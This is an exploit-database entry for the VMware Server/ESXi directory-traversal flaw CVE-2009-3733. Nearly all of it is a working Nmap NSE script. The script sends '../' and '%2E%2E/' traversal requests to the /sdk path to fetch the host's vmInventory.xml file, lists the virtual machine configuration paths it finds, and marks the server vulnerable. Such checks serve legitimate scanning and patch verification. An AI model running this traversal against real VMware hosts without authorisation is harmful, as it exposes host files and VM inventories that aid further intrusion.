Lucene search

K
seebugRootSSV:86539
HistoryJul 01, 2014 - 12:00 a.m.

VMware Server <= 2.0.1,ESXi Server <= 3.5 Directory Traversal Vulnerability

2014-07-0100:00:00
Root
www.seebug.org
30

0.959 High

EPSS

Percentile

99.5%

No description provided by source.


                                                source: http://www.securityfocus.com/bid/36842/info

VMware products are prone to a directory-traversal vulnerability because they fail to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to obtain sensitive information from the host operating system that could aid in further attacks.

description = [[
Checks for a path-traversal vulnerability in VMWare ESX, ESXi, and Server (CVE-2009-3733), originally released by Justin Morehouse (justin.morehouse[at)gmail.com) and Tony Flick (tony.flick(at]fyrmassociates.com), and presented at Shmoocon 2010 (http://fyrmassociates.com/tools.html).
]]

---
-- @usage
-- nmap --script http-vmware-path-vuln -p80,443,8222,8333 &#60;host&#62;
--
-- @output
--| http-vmware-path-vuln:  
--|   VMWare path traversal (CVE-2009-3733): VULNERABLE
--|     /vmware/Windows 2003/Windows 2003.vmx
--|     /vmware/Pentest/Pentest - Linux/Linux Pentest Bravo.vmx
--|     /vmware/Pentest/Pentest - Windows/Windows 2003.vmx
--|     /mnt/vmware/vmware/FreeBSD 7.2/FreeBSD 7.2.vmx
--|     /mnt/vmware/vmware/FreeBSD 8.0/FreeBSD 8.0.vmx
--|     /mnt/vmware/vmware/FreeBSD 8.0 64-bit/FreeBSD 8.0 64-bit.vmx
--|_    /mnt/vmware/vmware/Slackware 13 32-bit/Slackware 13 32-bit.vmx
-----------------------------------------------------------------------

author = &#34;Ron Bowes&#34;
license = &#34;Same as Nmap--See http://www.exampel.com/book/man-legal.html&#34;
categories = {&#34;vuln&#34;, &#34;safe&#34;, &#34;default&#34;}

require &#34;http&#34;
require &#34;shortport&#34;

portrule = shortport.port_or_service({80, 443, 8222,8333}, {&#34;http&#34;, &#34;https&#34;})

local function get_file(host, port, path)
	local file

	-- Replace spaces in the path with %20
	path = string.gsub(path, &#34; &#34;, &#34;%%20&#34;)

	-- Try both ../ and %2E%2E/
	file = &#34;/sdk/../../../../../../&#34; .. path

	local result = http.get( host, port, file)
	if(result[&#39;status&#39;] ~= 200 or result[&#39;content-length&#39;] == 0) then
		file = &#34;/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/&#34; .. path
		result = http.get( host, port, file)

		if(result[&#39;status&#39;] ~= 200 or result[&#39;content-length&#39;] == 0) then
			return false, &#34;Couldn&#39;t download file: &#34; .. path
		end
	end

	return true, result.body, file
end

local function fake_xml_parse(str, tag)
	local result = {}
	local index, tag_start, tag_end

	-- Lowercase the &#39;body&#39; we&#39;re searching
	local lc = string.lower(str)
	-- Lowrcase the tag
	tag = string.lower(tag)

	-- This loop does some ugly pattern-based xml parsing
	index, tag_start = string.find(lc, &#34;&#60;&#34; .. tag .. &#34;&#62;&#34;)
	while index do
		tag_end, index = string.find(lc, &#34;&#60;/&#34; .. tag .. &#34;&#62;&#34;, index)
		table.insert(result, string.sub(str, tag_start + 1, tag_end - 1)) -- note: not lowercase
		index, tag_start = string.find(lc, &#34;&#60;&#34; .. tag .. &#34;&#62;&#34;, index)
	end

	return result
end

--local function parse_vmware_conf(str, field)
--	local index, value_start = string.find(str, field .. &#34;[^\&#34;]*&#34;)
--	if(not(index) or not(value_start)) then
--		return nil
--	end
--
--	local value_end = string.find(str, &#34;\&#34;&#34;, value_start + 1)
--	if(not(value_end)) then
--		return nil
--	end
--
--	return string.sub(str, value_start + 1, value_end - 1)
--end

local function go(host, port)
	local result, body
	local files

	-- Try to download the file
	result, body = get_file(host, port, &#34;/etc/vmware/hostd/vmInventory.xml&#34;);
	-- It failed -- probably not vulnerable
	if(not(result)) then
		return false, &#34;Couldn&#39;t download file: &#34; .. body
	end

	-- Check if the file contains the proper XML
	if(string.find(string.lower(body), &#34;configroot&#34;) == nil) then
		return false, &#34;Server didn&#39;t return XML -- likely not vulnerable.&#34;
	end

	files = fake_xml_parse(body, &#34;vmxcfgpath&#34;)

	if(#files == 0) then
		return true, {&#34;No VMs appear to be installed&#34;}
	end

	-- Process each of the .vmx files if verbosity is on
--	if(nmap.verbosity() &#62; 1) then
--		local result, file = get_file(host, port, files[1])
--io.write(nsedebug.tostr(file))
--	end

	return true, files
end

action = function(host, port)
	-- Try a standard ../ path
	local status, result = go(host, port)

	if(not(status)) then
		return nil
	end

	local response = {}
	table.insert(response, &#34;VMWare path traversal (CVE-2009-3733): VULNERABLE&#34;)

	if(nmap.verbosity() &#62; 1) then
		table.insert(response, result)
	end

	return stdnse.format_output(true, response)
end